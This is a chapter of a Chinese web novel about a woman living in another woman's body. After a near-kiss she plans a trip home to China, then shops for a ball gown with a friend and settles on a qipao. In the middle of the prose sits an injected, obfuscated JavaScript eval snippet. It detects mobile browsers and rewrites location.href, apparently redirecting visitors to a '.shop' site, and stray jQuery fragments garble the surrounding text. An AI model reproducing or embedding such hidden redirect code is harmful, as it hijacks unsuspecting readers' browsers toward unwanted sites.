14. chapter14

作品:《循环告白

    周岐卉强压下心底翻涌的慌乱,脊背猛地绷直,索性干脆站起身,只丢下一句仓促的“我要回去了”,便头也不回地踏出温宁誉的家门。


    脑海里反复回放着方才的画面。


    两人咫尺相对,温热的呼吸在空气中交织缠绕,只差那毫厘之间,唇瓣便要相触。


    心跳在那一瞬间骤然失控,如擂鼓般轰鸣不止,有什么陌生的情愫破土而出,却被理智凝成的冰冷枷锁死死禁锢。


    她不能,也做不到披着林蔚的皮囊,去承接温宁誉的吻。


    这算什么?是偷来的心动,还是自欺欺人的虚无慰藉?


    周岐卉抬手紧紧捂住胸口,那里的悸动还未平息,却被另一股尖锐的失落刺得生疼。


    这会是一种情感洁癖吗?


    她无从知晓,只清楚地明白,每当温宁誉的目光落在她脸上时,那双眼底映出的,从来都不是她周岐卉,而是另一个人的影子。


    “我才不是林蔚……”


    这个念头清晰得近乎残忍,像一团乱麻缠紧了心脏,让她的脚步愈发沉重。


    视线早已被汹涌的酸楚模糊,她却倔强地仰着头,不肯抬手擦拭一滴眼泪,任由那股酸涩在心底泛滥成灾。


    原来有些喜欢,从一开始,就注定是镜花水月,触不可及。


    她重新搜索了自己的微信号,发了好友申请。


    指尖在微微发颤。


    此刻的她多渴望能联系到家里的任何人,谁都好,只要能有人陪她说说话,驱散这满溢的茫然与孤独。


    一个念头骤然在心底萌生:她要回国!


    她要回到周家,看看牵挂的家人,更要去见见此刻占据着“周岐卉”身体的人……


    那人会是一个全然的陌生人吗?


    她甚至生出一个大胆的猜想,或许真正的林蔚,此刻正栖身于她的身体里!


    想到这里,周岐卉浑身因激动而轻轻颤抖,迫切地想要立刻回国证实这个猜想。说不定真正的林蔚,也正和她一样,困在陌生的躯壳与环境里茫然无措,急切地想要找回自己的身体!


    她指尖飞快地翻看着最近的航班信息,连身旁坐下了人都未曾察觉。


    “这么久不见,你倒开始研究回国机票了?”Sophie凑过头,目光落在她的手机屏幕上,见周岐卉抬头,她又笑着追问:“听说你去了约克?怎么不喊我一起?”


    半小时前,Sophie约她在这家咖啡厅见面,周岐卉几乎是立刻就答应了。她迫切需要一个人来转移注意力,驱散温宁誉带给她的混乱心绪。只是没想到早早抵达后,那些纷乱的念头反倒愈发汹涌,还生出了回国找周家的想法。


    周岐卉飞快按灭手机屏幕,语气故作轻松地掩饰:“就是一时兴起,前些天被Winston气到了,才想着躲开清净。”


    “Winston又怎么惹你了?你们俩不是早和好了吗?”Sophie挑眉,一副了然的模样。


    “还能有什么,我们又吵架了。”周岐卉端起面前的拿铁抿了一口,语气淡淡的,“他胃不好,偏要乱喝酒。”


    Sophie忍不住笑出声:“你们俩啊,真是一对欢喜冤家,吵来吵去也分不开。”


    “他就是欠揍。”周岐卉嗔怪一句,眼底却掠过一丝复杂。


    她此刻的逃避,或许也让那边的温宁誉暗自闹着脾气吧。


    “说真的,你怎么突然想回中国了?”Sophie收起玩笑,语气关切起来,“下周就是舞会了,你忘了?咱们之前说好一起参加的,你不打算去了?”


    “什么?”周岐卉一愣,全然没了印象。


    Sophie惊道:“我的天,你居然把这么重要的事忘了!”


    舞会?


    周岐卉猛地拍了下脑门,瞧自己这记性,那回国的事,只能先缓缓了。


    “对哦……”


    她下意识地顿了顿,若是参加活动,自然难免要和温宁誉碰面,但这也恰好给了她一个暂时避开单独相处的理由,也让回国的计划不得不搁置。


    Sophie立刻眯起眼睛,对她撒娇道:“Vivi,我也想去中国玩好久了,等你真要回去的时候,带上我好不好?”


    周岐卉有些迟疑。


    她这趟回国,根本不是为了游玩,而是要去干正事的。


    若是带上Sophie,她不仅要分心充当导游,更难有机会单独去做自己的事,只能含糊地推脱:“我就是随便看看,好奇机票价格而已,还没确定要回去。”


    “噢……好吧。”Sophie瘪了瘪嘴,脸上满是失望。


    见好友这般模样,周岐卉不忍扫她的兴,又软了语气补充:“等以后有机会,我一定带你回中国,带你把好吃的好玩的都逛个遍。”


    “一言为定!”Sophie立即喜笑颜开,“对了,参加舞会的裙子你挑好了吗?”


    “还没……”


    周岐卉垂了垂眼睫,心头漫过一阵说不清的无力感。


    她本来很向往类似“WinterBall”的场合,但眼下她发现自己竟没有半分心思,为一场流光溢彩的舞会费心打扮。


    Sophie促狭地眨眨眼,伸手戳了戳她的胳膊:“你啊,满心满眼就只剩Winston了!”


    周岐卉懒得费口舌解释,干脆往椅背上一靠,语气带着几分随性:“那你带我去挑呗。”


    “我带你?”Sophie像是听到了什么不可思议的事,倏地瞪大了眼睛,满脸的难以置信,“你身边的资源还少吗?居然还要我带你?”


    资源?周岐卉扯了扯嘴角,如今自己就只是个被束缚的灵魂罢了。


    她抬眼看向Sophie,微微扬了扬下巴,眼底盛着不加掩饰的信任:“我信你的眼光。”


    Sophie歪着头思忖片刻,“我知道有家店的裙子超赞,你待会有没有时间,我带你去逛逛?”


    周岐卉弯了弯唇角,点头应下:“好。”


    ·


    满室华光流转,各式各样的高定礼服裙层层叠叠悬着,蕾丝曳地,缎面流光,看得周岐卉眼花缭乱,却半点提不起兴致。


    她不是没动过穿旗袍的心思,她原来的身段本就最衬那剪裁,肩颈的弧度、腰肢的纤细、胯骨的玲珑,往旗袍里一站,定是说不尽的风情。可转念又犹豫,一场旁人眼中的盛会罢了,更何况现在这个身体又不是自己的,选件规规矩矩的礼服裙,大概便足够了吧?


    她心不在焉地跟着Sophie穿梭在衣料香氛里,脚步拖沓,目光落不到实处,思绪还胶着在旗袍与礼服的取舍间。身旁的Sophie却早已被满眼璀璨俘获,指尖抚过丝绒裙摆时会低呼,瞥见钉珠刺绣时会惊叹,眼中带光。


    眼看周岐卉逛了半晌还是两手空空,Sophie终于忍不住凑近说:“Vivi,这么多漂亮裙子,就没有一件合你心意的?”


    “不是,我就是挑得慢了点……”周岐卉不想扫她的兴,随手从衣架上拎过一条黑色长裙,转身钻进了试衣间。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993288|193828||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门帘“哗啦”一声拉开的瞬间,Sophie的惊呼声几乎要掀翻屋顶:“哇!Vivi你也太美了!”


    那条黑裙像是为“林蔚”量身定做一般,领口收得恰到好处,腰线掐出完美比例,裙摆垂坠出流畅的弧度,将她衬得身姿窈窕,气质矜贵。


    周岐卉怔怔地望着镜子里的人,一时竟有些失神。


    镜中的姑娘眉眼精致,身段窈窕,一身黑裙衬得肌肤胜雪,分明是她日日相对的模样,可又陌生得可怕。


    这是林蔚,是众人心目中明艳动人的林蔚,不是她周岐卉。


    “Vivi!你这身打扮一出场,绝对要迷死Winston!”Sophie凑到镜子旁,语气里满是雀跃,“我敢打赌,他见了你这样,以后肯定再也离不开你了!”


    一句接一句的夸赞,像细密的雨,落在周岐卉的心上,却砸得她生疼。


    她看着镜中那双含笑的眼,看着那身恰到好处的裙装,看着Sophie眼中毫不掩饰的艳羡……


    这些,都是给林蔚的。


    “Vivi这么美……”


    “要迷死Winston了……”


    “他以后都离不开你了……”


    那些声音在耳边反复回响,像魔咒,更像利刃。


    周岐卉的视线一点点模糊,她看着镜中人的轮廓渐渐晕开,鼻尖陡然一酸。


    她没敢再看第二眼,猛地转身,慌慌张张地逃回试衣间,“唰”地拉上帘子,将所有喧嚣与光亮隔绝在外。后背抵着冰凉的墙板,紧绷的弦终于断了,温热的泪水不受控制地滚落,喉咙里溢出压抑的哽咽。


    她不想当林蔚。


    她从来都不是林蔚。


    试衣间的哽咽渐渐平息,周岐卉抬手拭去泪痕,指尖抚过黑色长裙的缎面。这料子精致,却裹着不属于她的躯壳,每一寸都在提醒她“林蔚”的身份。


    她褪下长裙,将其挂回衣架,镜中素面朝天的姑娘,眼底还带着未散的红。


    Sophie见她出来忙上前:“Vivi,你没事吧?是不是不舒服?”


    周岐卉摇了摇头,避开对方探究的目光,“这条黑裙太普通了,我想换种风格。”


    不等Sophie反应,她已转身走向店铺深处的僻静角落。方才心不在焉闲逛时,她便瞥见那排挂在不起眼位置的旗袍,彼时只敢匆匆扫过,此刻却一步步走近,指尖轻轻抚过一件月白色暗纹旗袍的领口。


    料子是温润的真丝,绣着细密的兰草纹样,灯光下泛着柔和的光泽,剪裁利落却不刻意紧绷,恰好能包容她的身形,又藏着东方女子独有的温婉风骨。


    其实在周岐卉知道这家店有旗袍时,心里很是惊喜。


    “你要试这个?”Sophie跟过来,满脸诧异,“旗袍固然好看,但舞会都是西式礼服呢?”


    周岐卉没回头,只拿起旗袍走进试衣间:“特别点才好。”


    穿好旗袍的瞬间,她再看向镜子时,眼底终于有了一丝真切的动容。


    月白色衬得她肌肤愈发通透,兰草暗纹顺着肩线蜿蜒而下,腰间的盘扣轻轻一系,勾勒出的曲线不再是“林蔚”惯有的明艳张扬,而是带着她骨子里的沉静内敛。她抬手将长发松松挽起,露出纤细的脖颈,镜中的人,终于有了几分周岐卉该有的模样。


    “天呐……”Sophie见她出来,惊叹道:“虽然和舞会风格不一样,但有种说不出的韵味!”


    周岐卉对着镜子微微颔首,嘴角勾起一抹极淡的笑。